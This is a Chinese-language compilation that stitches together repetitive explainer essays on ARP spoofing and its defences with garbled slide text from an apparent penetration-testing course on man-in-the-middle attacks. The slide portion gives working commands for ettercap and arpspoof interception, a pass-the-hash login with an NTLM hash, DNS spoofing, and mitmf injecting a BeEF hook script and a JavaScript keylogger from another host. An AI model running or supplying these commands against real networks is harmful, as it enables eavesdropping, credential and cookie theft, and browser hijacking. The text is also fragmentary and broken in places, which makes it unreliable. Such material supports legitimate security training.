ARP攻击(1)
ARP攻击防范与解决方案
ARP攻击防范与解决方案1. ARP攻击概述ARP（地址解析协议）是一种用于将IP地址映射到物理MAC地址的协议。
ARP攻击是指攻击者通过伪造或者篡改ARP数据包来欺骗网络中的主机，从而实现中间人攻击、拒绝服务攻击等恶意行为。
在ARP攻击中，攻击者通常会发送虚假的ARP响应，将合法主机的IP地址与自己的MAC地址进行绑定，导致网络中的通信被重定向到攻击者控制的主机上。
2. ARP攻击的危害ARP攻击可能导致以下危害：- 信息窃听：攻击者可以在通信过程中窃取敏感信息，如账号密码、银行卡信息等。
- 中间人攻击：攻击者可以篡改通信内容，更改数据包中的信息，甚至插入恶意代码。
- 拒绝服务攻击：攻击者可以通过ARP攻击使网络中的主机无法正常通信，导致网络服务不可用。
3. ARP攻击防范与解决方案为了有效防范和解决ARP攻击，可以采取以下措施：3.1 加强网络安全意识提高网络用户的安全意识，加强对ARP攻击的认识和理解。
教育用户不要随意点击来自未知来源的链接，不要打开可疑的附件，以及不要轻易泄露个人信息。
3.2 使用静态ARP绑定静态ARP绑定是一种将IP地址与MAC地址进行手动绑定的方法，可以有效防止ARP欺骗攻击。
在网络设备中配置静态ARP绑定表，将合法主机的IP地址与相应的MAC地址进行绑定，使得ARP响应包不会被攻击者篡改。
3.3 使用ARP防火墙ARP防火墙可以检测和阻挠ARP攻击，通过监控网络中的ARP流量并对异常流量进行过滤，实现对ARP攻击的防范。
ARP防火墙可以根据预设的策略，对ARP响应包进行检查和过滤，防止虚假的ARP响应被接受。
3.4 使用网络入侵检测系统（IDS）或者入侵谨防系统（IPS）IDS和IPS可以监测和谨防网络中的入侵行为，包括ARP攻击。
IDS可以实时监测网络中的ARP流量，发现异常的ARP请求和响应，并及时发出警报。
IPS可以根据事先设定的规则，对检测到的ARP攻击进行自动谨防，如封锁攻击者的IP 地址。
ARP攻击防范与解决方案
ARP攻击防范与解决方案ARP（Address Resolution Protocol）攻击是一种常见的网络攻击手段，攻击者通过伪造ARP响应包，将目标主机的IP地址与自己的MAC地址进行绑定，从而实现中间人攻击、数据篡改等恶意行为。
为了保障网络安全，我们需要了解ARP 攻击的原理和防范方法。
一、ARP攻击原理1.1 ARP攻击原理：攻击者发送伪造的ARP响应包，欺骗目标主机将攻击者的MAC地址与目标主机的IP地址进行绑定。
1.2 中间人攻击：攻击者获取目标主机的通信数据，进行篡改或窃取敏感信息。
1.3 数据劫持：攻击者截取目标主机的通信数据，对数据进行篡改或篡改。
二、ARP攻击的危害2.1 窃取敏感信息：攻击者可以窃取目标主机的敏感信息，如账号密码、银行卡信息等。
2.2 数据篡改：攻击者可以篡改目标主机的通信数据，导致数据不一致或损坏。
2.3 网络拒绝服务：攻击者可以通过ARP攻击导致网络拥堵，影响网络正常运行。
三、ARP攻击防范方法3.1 ARP缓存监控：定期监控网络设备的ARP缓存表，及时发现异常ARP绑定。
3.2 静态ARP绑定：在网络设备上设置静态ARP绑定表，限制ARP响应包的发送。
3.3 ARP防火墙：使用ARP防火墙软件，对网络中的ARP流量进行监控和过滤。
四、ARP攻击解决方案4.1 使用ARP检测工具：如ARPWatch、ArpON等工具，检测网络中的ARP 攻击行为。
4.2 网络隔离：将网络划分为多个子网，减少ARP攻击的影响范围。
4.3 加密通信：使用加密通信协议，保护通信数据的安全性。
五、总结5.1 ARP攻击是一种常见的网络攻击手段，对网络安全造成严重威胁。
5.2 了解ARP攻击的原理和危害，采取相应的防范措施是保障网络安全的重要举措。
5.3 通过监控ARP缓存、设置静态ARP绑定、使用ARP防火墙等方法，可以有效防范和解决ARP攻击。
ARP攻击原理与防御措施
ARP攻击原理与防御措施
ARP攻击(Address Resolution Protocol, ARP)，是一种针对局域网层网络安全的攻击技术，其特征之一就是对网络中特定主机的网络进行拒绝服务的攻击。
当主机A向网络发出ARP请求，要求网络上某主机的物理地址。
ARP攻击者B，将伪装成网络上某主机，然后发送一个假的ARP响应，其中的物理地址，实际指向主机B。
这样，当A在发出的数据中带有主机B的IP地址时，A实际上是想发送到B，但由于被B声称的假ARP响应，错误地把网络数据发送到了B上。
1. 启用静态ARP映射功能：网管人员应维护一个ARP映射表，维护网络中正确的IP 地址和物理地址的对应关系。
2. 增强ARP安全机制：通过加密等技术改进它的安全机制，使之能够区分来源可信和不可信的ARP请求和响应，将不可信的ARP数据包过滤掉或拒绝接收。
3. 启用双向ARP：向整个网络发出ARP请求，只有当返回的结果与初始的请求相匹配时，才表明没有ARP攻击的存在。
4. 强化网络边界安全：应监测网络入口，对外部攻击进行屏蔽，特别是实现静态ARP 映射功能时，需要特别留意外部ARP攻击以及ARP欺骗行为。
5. 应用专门的设备进行防御：例如网络入侵防御系统(NIPS)等，可以有效检测并阻止ARP攻击。
总之，ARP 攻击的可行措施包括：启用静态ARP映射功能，增强ARP安全机制，启用双向ARP，强化网络边界安全，以及采取专门的设备进行防御等。
ARP攻击原理与防御措施
ARP攻击原理与防御措施ARP攻击（Address Resolution Protocol Attack）是一种利用ARP协议的安全漏洞来进行网络攻击的方式。
ARP协议是用于将网络层IP地址解析为物理层MAC地址的协议，是局域网中设备之间通信的基础。
ARP攻击的原理是攻击者通过发送伪造的ARP响应包，欺骗局域网中其他设备将原本应该发送给目标设备的数据包发送给攻击者设备，从而达到窃取信息、劫持网络连接等目的。
具体来说，ARP攻击可以分为以下几个步骤：1. 攻击者发送伪造的ARP响应包，欺骗目标设备将本应发送给目标设备的数据包发送给攻击者设备。
2. 攻击者设备收到目标设备的数据包后，进行相应的操作（如截取数据、修改数据等）。
3. 攻击者将修改后的数据包重新发送给目标设备，目标设备无法察觉被攻击。
防御ARP攻击的措施包括以下几点：1. 使用动态ARP缓存：设备可以在收到ARP响应包时，在ARP缓存中保存发送者的IP 地址和MAC地址对应关系，如果收到的ARP响应包中的对应关系与缓存中的不一致，可以认为可能受到ARP攻击，可以采取相应的防御措施。
2. ARP限制：可以通过配置交换机或路由器的ARP限制功能，设置只允许特定设备的ARP请求通过。
这样，攻击者发送伪造的ARP响应包时，其MAC地址与IP地址对应关系将无法被目标设备接受和使用。
3. 使用ARP防火墙：一些网络设备提供了ARP防火墙功能，可以检测和阻止ARP攻击。
当检测到伪造的ARP响应包时，可以自动实施相应的防御措施，如断开与攻击者的连接等。
4. 使用加密通信：使用加密协议（如HTTPS）进行通信可以有效防止ARP攻击。
即使攻击者拦截了数据包，但由于数据包是经过加密的，攻击者无法获取其中的明文信息。
5. 网络安全教育：对网络管理员和用户进行网络安全教育和培训，提高他们的网络安全意识，并告知如何预防和应对ARP攻击，以及网络安全维护的重要性。
ARP攻击是一种利用ARP协议漏洞进行的网络攻击方式，能够造成信息窃取、网络连接劫持等问题。
arp攻击方式及解决方法
arp攻击方式及解决方法ARP（地址解析协议）是计算机网络中一种用来将IP地址转换为MAC地址的协议。
然而，正因为ARP协议的特性，它也成为了黑客进行网络攻击的目标之一。
本文将介绍ARP攻击的几种常见方式，并提供解决这些攻击方式的方法。
一、ARP攻击方式1. ARP欺骗攻击ARP欺骗攻击是最常见的ARP攻击方式之一。
攻击者发送伪造的ARP响应包，将自己的MAC地址伪装成其他主机的MAC地址，迫使目标主机发送网络流量到攻击者的机器上。
2. ARP缓存投毒ARP缓存投毒是一种通过向目标主机的ARP缓存中插入虚假的ARP记录来实施攻击的方式。
攻击者伪造合法主机的MAC地址，并将其与错误的IP地址关联，从而导致目标主机将网络流量发送到错误的目的地。
3. 反向ARP（RARP）攻击反向ARP攻击是使用类似ARP欺骗的方式，攻击者发送伪造的RARP响应包，欺骗目标主机将攻击者的MAC地址与虚假的IP地址进行关联。
二、解决ARP攻击的方法1. 使用静态ARP表静态ARP表是手动创建的ARP表，其中包含了真实主机的IP地址和MAC地址的映射关系。
通过使用静态ARP表，可以避免因为欺骗攻击而收到伪造的ARP响应包。
2. 使用防火墙防火墙可以检测和过滤网络中的恶意ARP请求和响应包。
通过配置防火墙规则，可以限制只允许来自合法主机的ARP请求和响应。
3. 使用网络入侵检测系统（NIDS）网络入侵检测系统可以监测网络中的恶意ARP活动，并提供实时告警。
通过使用NIDS，可以及时发现并应对ARP攻击事件。
4. ARP绑定ARP绑定可以将指定的IP地址和MAC地址绑定在一起，防止ARP欺骗攻击。
主机在发送ARP请求时会同时检查绑定表，如果发现IP地址和MAC地址的对应关系不匹配，则会拒绝该ARP响应。
5. 使用加密技术使用加密技术可以防止ARP请求和响应包被篡改和伪造。
通过在ARP包中添加加密信息，可以提高网络的安全性，防止ARP攻击的发生。
ARP攻击原理与防御措施
ARP攻击原理与防御措施ARP攻击指的是利用ARP协议的漏洞进行网络攻击的行为。
ARP（Address Resolution Protocol）是一种用于将IP地址解析为物理地址的协议，它常用于局域网中的设备通信。
由于ARP是一个无验证的协议，攻击者可以通过伪造ARP响应包，将正常的IP地址与错误的MAC地址进行绑定，从而导致网络通信的中断、劫持、篡改等问题。
ARP攻击的主要原理是攻击者发送伪造的ARP响应包，将自己的MAC地址绑定到目标的IP地址上，使得合法的网络流量被重定向到攻击者的机器上。
攻击者可以通过嗅探网络流量，窃取敏感信息，甚至修改通信内容。
为了防止ARP攻击，可以采取以下措施：1. 静态ARP表：在网络中建立一份静态的ARP表，将每个IP地址与其对应的MAC地址进行绑定。
这样，当收到ARP响应包时，可以与静态ARP表进行对比，如果发现不一致，则拒绝该ARP响应包。
2. 动态ARP检测：可以通过网络安全设备来监测并检测网络中的ARP流量。
当发现异常的ARP流量时，可以立即采取相应的防御措施，比如报警、封锁源IP等。
3. 网络隔离：将网络划分为不同的VLAN或子网，限制不同子网之间的通信。
这样可以减少ARP攻击的影响范围，使得攻击者无法对整个网络进行攻击。
4. ARP防火墙：使用ARP防火墙可以对网络中的ARP流量进行过滤和检测。
配置正确的ARP过滤规则，以阻止伪造的ARP响应包进入网络。
5. 安全策略：在网络中建立明确的安全策略，限制局域网中任意设备发送ARP响应包。
只允许授权的设备进行ARP响应，可以防止恶意ARP响应包的发送。
6. ARP缓存定期清理：定期清理网络设备的ARP缓存，以避免缓存中的ARP条目被攻击者篡改。
及时清理ARP缓存可以及时发现异常情况，并将其纳入防御范围。
ARP攻击是一种常见的网络攻击手段。
通过采取适当的防御措施，可以有效减少ARP攻击的风险，提高网络的安全性。
ARP攻击防范与解决方案
ARP攻击防范与解决方案ARP（地址解析协议）攻击是一种常见的网络攻击手段，通过欺骗网络中的设备，使得攻击者可以窃取数据、篡改数据或者拒绝服务。
为了保护网络安全，我们需要了解ARP攻击的原理和解决方案。
一、ARP攻击的原理1.1 ARP欺骗：攻击者发送虚假ARP响应包，欺骗目标设备将攻击者的MAC 地址误认为是网关的MAC地址，导致数据流经攻击者设备。
1.2 中间人攻击：攻击者在网络中伪装成网关，截取目标设备与网关之间的通信，可以窃取敏感信息。
1.3 DOS攻击：攻击者发送大量虚假ARP请求，使得网络设备无法正常通信，造成网络拥堵。
二、ARP攻击的危害2.1 数据泄露：攻击者可以窃取目标设备的敏感信息，如账号、密码等。
2.2 数据篡改：攻击者可以篡改数据包，导致目标设备收到错误的数据。
2.3 网络拒绝服务：攻击者可以通过ARP攻击使得网络设备无法正常通信，造成网络拥堵。
三、ARP攻击的防范方法3.1 ARP绑定：在网络设备中配置ARP绑定表，将IP地址和MAC地址进行绑定，减少ARP欺骗的可能性。
3.2 安全路由器：使用具有ARP防护功能的安全路由器，可以检测和阻挠虚假ARP响应包。
3.3 网络监控：定期监控网络流量和ARP表，及时发现异常情况并采取相应措施。
四、ARP攻击的解决方案4.1 使用静态ARP表：在网络设备中手动配置ARP表，避免自动学习带来的风险。
4.2 ARP检测工具：使用专门的ARP检测工具，可以检测网络中是否存在ARP攻击，并及时采取应对措施。
4.3 更新网络设备：及时更新网络设备的固件和软件，修复已知的ARP攻击漏洞，提高网络安全性。
五、ARP攻击的应急响应5.1 断开网络连接：一旦发现ARP攻击，即将断开受影响设备的网络连接，阻挠攻击继续扩散。
5.2 修改密码：及时修改受影响设备的账号密码，避免敏感信息泄露。
5.3 报警通知：向网络管理员或者安全团队报告ARP攻击事件，协助进行应急响应和网络恢复。
arp攻击原理
arp攻击原理ARP攻击是一种利用ARP协议的安全漏洞来进行的网络攻击。
ARP（Address Resolution Protocol）是一种用于将IP地址解析成对应MAC地址的协议，它在局域网中常用来进行网络通信。
攻击者利用ARP攻击的原理是通过发送伪造的ARP响应包来欺骗目标主机，使其将发送到指定IP地址的数据包发送到攻击者所指定的MAC地址上。
这样，攻击者就能够截获目标主机的通信数据，甚至修改或插入自己的数据进去。
具体来说，ARP攻击一般分为以下步骤：1. 攻击者在局域网中监听目标主机的ARP请求。
ARP请求是主机在需要与另一台主机通信时发送的请求，用于获取目标主机的MAC地址。
2. 攻击者接收到目标主机发送的ARP请求后，会伪造一个ARP响应包发送给目标主机。
这个ARP响应包中包含了伪造的MAC地址，将欺骗目标主机认为这个MAC地址是正确的。
3. 目标主机收到伪造的ARP响应包后，会将其存储在ARP缓存表中。
ARP缓存表是由主机维护的用于存储IP地址与对应MAC地址的映射关系的表。
4. 当目标主机想要发送数据包时，会查找ARP缓存表获取目标IP地址对应的MAC地址。
由于攻击者伪造的ARP响应包中的MAC地址已经被存储在ARP缓存表中，目标主机会将数据包发送到攻击者的MAC地址上。
5. 攻击者收到目标主机发送的数据包后，可以进行各种操作，例如嗅探数据包内容、篡改数据包内容等。
值得注意的是，ARP攻击主要针对局域网内的通信，因为ARP协议只在局域网中起作用。
此外，为了防止ARP攻击，可以采取一些防范措施，例如使用静态ARP表、使用ARP防火墙等。
ARP攻击方式及介绍攻击造成的现象
ARP攻击方式及介绍攻击造成的现象ARP（Address Resolution Protocol）是一种广泛使用的局域网通信协议，用于将IP地址解析为MAC地址。
它通过发送ARP请求，询问特定IP地址的MAC地址，并将结果缓存在本地ARP缓存中，以提高网络传输的效率。
然而，由于ARP的工作方式容易受到攻击者的利用，因此ARP攻击成为了网络安全领域的一大威胁。
本文将介绍ARP攻击的几种常见方式，并详细讨论攻击造成的现象。
1. ARP欺骗（ARP Spoofing）：ARP欺骗是最常见的ARP攻击方式之一，攻击者通过发送伪造的ARP响应包，将自己的MAC地址欺骗成目标主机的MAC地址，使得网络流量误导到攻击者的计算机上。
受到ARP欺骗影响的主机会将其传输的数据发送到攻击者所在的计算机，从而攻击者可以窃取敏感信息、修改数据或者拒绝服务。
另外，ARP欺骗还可以用于中间人攻击（Man-in-the-Middle Attack），攻击者将自己伪装成通信双方之间的中间节点，窃取通信内容或篡改通信数据。
2. ARP投毒（ARP Poisoning）：ARP投毒是一种特殊形式的ARP欺骗，攻击者发送大量的伪造ARP响应包给所有主机，将一个或多个正常的ARP缓存条目篡改成攻击者所期望的条目。
这样一来，就会导致通信的源和目标主机都将数据发送到攻击者所在的计算机上。
攻击者通过篡改数据或拦截通信，干扰正常的网络传输或窃取敏感信息。
3. ARP劫持（ARP Hijacking）：ARP劫持是一种利用ARP欺骗技术的高级攻击方式，攻击者通过持续发送伪造的ARP响应包，将目标主机的ARP表中原有的合法条目替换为攻击者所期望的条目。
这样，攻击者可以完全控制目标主机的网络连接，拦截、修改或重定向目标主机的通信。
4. 反向ARP攻击（Reverse ARP Attack）：反向ARP攻击是一种少见的ARP攻击方式，攻击者伪造目标主机的ARP响应包，将目标主机的MAC地址欺骗成攻击者的MAC地址。
ARP攻击原理与防御措施
ARP攻击原理与防御措施ARP（Address Resolution Protocol）是一种用于将网络层地址转换成物理层地址的协议。
ARP攻击则是一种网络安全攻击技术，它利用ARP协议中的漏洞，欺骗网络中的主机，从而进行各种攻击。
ARP攻击的原理是利用ARP协议中的缺陷，通过发送一些错误的ARP包，使得网络中的主机将攻击者的MAC地址映射到了某个合法主机的IP地址上，从而导致数据包被发送到攻击者的计算机上，达到攻击的目的。
具体来说，ARP攻击可以采取以下两种方式：1. ARP欺骗攻击ARP欺骗攻击是指攻击者发送伪造的ARP响应包，将攻击者的MAC地址映射到目标主机的IP地址上，从而使得目标主机将数据包发送到攻击者控制下的计算机上，同时攻击者通过这种方式能够实时地监听目标主机的通信并截获数据包，因此可以轻松获取目标主机的敏感信息。
ARP洪泛攻击是指攻击者向同一局域网内的所有主机发送大量这些伪造的ARP包，这些ARP包会让所有主机的ARP缓存表被攻击者的虚假MAC地址所占据，这将导致目标主机无法准确地将数据包发送到正确的主机上，从而导致网络拥塞。
为了防止ARP攻击，使用以下方法可以提高网络的安全性：1. 静态ARP缓存项网络管理员可以通过配置静态ARP缓存表来保护网络安全。
静态ARP缓存表是一种手动配置的ARP缓存表，可以避免缓存表被同一网络段内的非法IP地址所污染。
2. ARP检测工具使用ARP检测工具可以及时检测和解析ARP攻击，该工具能够实时地监测网络中的ARP 流量，并提供实时报告，可以帮助网络管理员快速识别和阻止ARP攻击。
3. 软件升级定期升级网络设备、操作系统和应用程序可以保护网络安全；更新的软件版本通常会包含更多的防御措施。
4. 加密通信设置基于公钥的加密协议（如SSL/TLS）可以帮助保护通信信道，从而保证数据传输的安全性。
5. MAC地址绑定将MAC地址绑定到静态IP地址可以提高网络设备的安全性，一旦检测到未知的MAC地址附加到该IP地址上，网络管理员可以立即采取措施防止攻击。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
中间人攻击
--hsts
– HTTP Strict Transport Security – 防止协议降级、cookie窃取 – 安全策略通过HTTP响应头”StrictTransport-Security“实施 – 限制user-agent、https等
--filepwn
– 凌空插后门
中间人攻击
中间人攻击
注入XSS • 即使没有XSS漏洞，也可以凌空向每个HTTP请求中注入XSS攻击代码 • 一旦得手，影响范围巨大 • 如果中间人发生在运营商线路上，很难引起用户注意
Mitmf 安装 • 曾经号称最好用的中间人攻击工具（kali 2.0后默认未安装）
– apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter- queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file – apt-get install mitmf – pip uninstall twisted – wget /Releases/Twisted/15.5/Twisted15.5.0.tar.bz2 – pip install ./Twisted-15.5.0.tar.bz2
ARP MITM
Filter
– /usr/share/ettercap/
SSH-2.xx / SSH-1.99 / SSH-1.51
– etterfilter etter.filter.ssh -o ssh.ef
替换HTTP内容
– if (ip.proto == TCP && tcp.src == 80) { – msg("data on TCP 80\n"); replace("img src=", "img src=\"http://1.1.1.1/1.gif\" – "); replace("IMG src=", "img – src=\"http://1.1.1.1/1.gif\" "); replace("IMG SRC=", – "img src=\"http://1.1.1.1/1.gif\" "); – }
Solaris 不根据ARP包更新本地ARP缓存
– Ettercap使用先发ICMP包来更新ARP缓存
中间人攻击
用户操作界面
– – – – -T -G -C -D 文本界面 图形界面 基于文本的图形界面 后台模式
指定目标
– IPv4：MAC/IPs/Ports – IPv6：MAC/IPs/IPv6/Ports – /10.0.0.1−5;10.0.1.33/20−25,80,110
Ndp
– -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
Pass the Hash (PTH)
密码破解耗费时间资源巨大
使用密文提交给服务器直接完成身份认证
NTLM/LM是没有加盐的静态HASH密文 企业中使用ghost等工具克隆安装系统 pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb 3063 716ab7fe2a11faf126d8 //1.1.1.1 cmd
中间人攻击
ICMP
– -M icmp:00:11:22:33:44:55/10.0.0.1（真实网关的MAC/IP）
DHCP
– −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1（ DNS）
Port
– -M port /1.1.1.1/ /1.1.1.2/
密码嗅探
二、三层地址
– IP 网络到网络 – MAC 主机到主机
交换机与HUB
– HUB全端口转发 – 交换机根据学习地址转发 – 混杂模式抓包
密码嗅探
ARP协议
– – – – – 免费ARP 基于广播学习 以太网头、ARP头 请求、响应相对独立 基于传闻的协议
密码嗅探
手动修改数据包实现ARP欺骗
– vi /etc/ettercap/etter.conf
DNS欺骗
– dns_spoof插件配置文件 – vi /etc/ettercap/etter.dns
ARP MITM
Ettercap 日志查看
查看获取的密码 – etterlog -p log.eci 列出Log中的连接 – etterlog -c log.ecp – etterlog -c -f /1.1.1.1/ log.ecp – etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa 选择相应的连接并榨取文件
– DHCP
– Switch Port Stealing
flood目标地址是本机，源地址是受害者的包 适用于ARP静态绑定的环境
– NDP
IPv6协议欺骗技术
中间人攻击
2.4以上内核对ARP地址欺骗的约束
– 收到非请求的ARP响应包，不更新本地ARP缓存 – Ettercap使用ARP request包进行攻击
中间人攻击
•
权限
• – 需要root权限打开链路层Socket连接，然后使用nobody账号运行 • – 日志写入目录需要nobody有写入权 • – 修改etter.conf：EC_UID=65534
基于伪造证书的SSL MITIM – Bridge模式不支持SSL MITM – openssl genrsa −out etter.ssl.crt 1024 – openssl req −new−keyetter.ssl.crt −out tmp.csr – openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt • −out tmp.new – cat tmp.new>>etter.ssl.crt – rm −f tmp.newtmp.csr
/usr/share/dsniff/dsniff.services
密码嗅探
DNS欺骗代理
– dnschef --fakeip=1.1.1.10 -fakedomains=, --interface 务器
ARP MITM
字符模式
– ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
图形界面 SSL MITM
Ettercap
– 统一的中间人攻击工具 – 转发MAC与本机相同，但IP与本机不同的数据包 – 支持SSH1、SSL中间人攻击
模块划分
Snifer MITM Filter Log Plugin
– – – – –
中间人攻击
Snifer
– 负责数据包转发 – Unified
单网卡情况下独立完成三层包转发 始终禁用内核IP_Forward功能
安装虚拟机
• •
微软最新版软件
•
/en-ca/subscriptions/aa336858
http://dev.modern.ie/tools/vms/
Windows虚拟机
•
安装虚拟机
•
Linux虚拟机
•
Ubuntu
模拟真实网络
•
M0n0wall防 火 火 墙
•
http://m0n0.ch/wall/download.php?file=generic-pc-1.8.1.iso
背靠背防火墙
•
Pfsense
•
https:///
arpspoof
– echo 1 > /proc/sys/net/ipv4/ip_forward (开启IP地址转发) – arpspoof -t 1.1.1.12 -r 1.1.1.1 (ARP欺骗)
网络嗅探
– – – – – driftnet -i eth0 -a -d tempdir -s dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts urlsnarf -i eth0 webspy -i eth0 1.1.1.10 dsniff -i eth0 -m
中间人攻击
启动beef
– cd /usr/share/beef-xss/ – ./beef
mitmf中间人注入xss脚本
– mitmf –spoof --arp -i eth0 --gateway 1.1.1.1 --target 1.1.1.2 --inject --js-url http://1.1.1.3:3000/hook.js – mitmf --spoof --arp -i eth0 --gateway 192.168.20.2 -target 192.168.20.1 --jskeylogger – --upsidedownternet、--screen（/var/log/mitmf） – --ferretng（cookie）、--browserprofiler（浏览器及插件信息） – --smbtrap、--smbauth（不演示）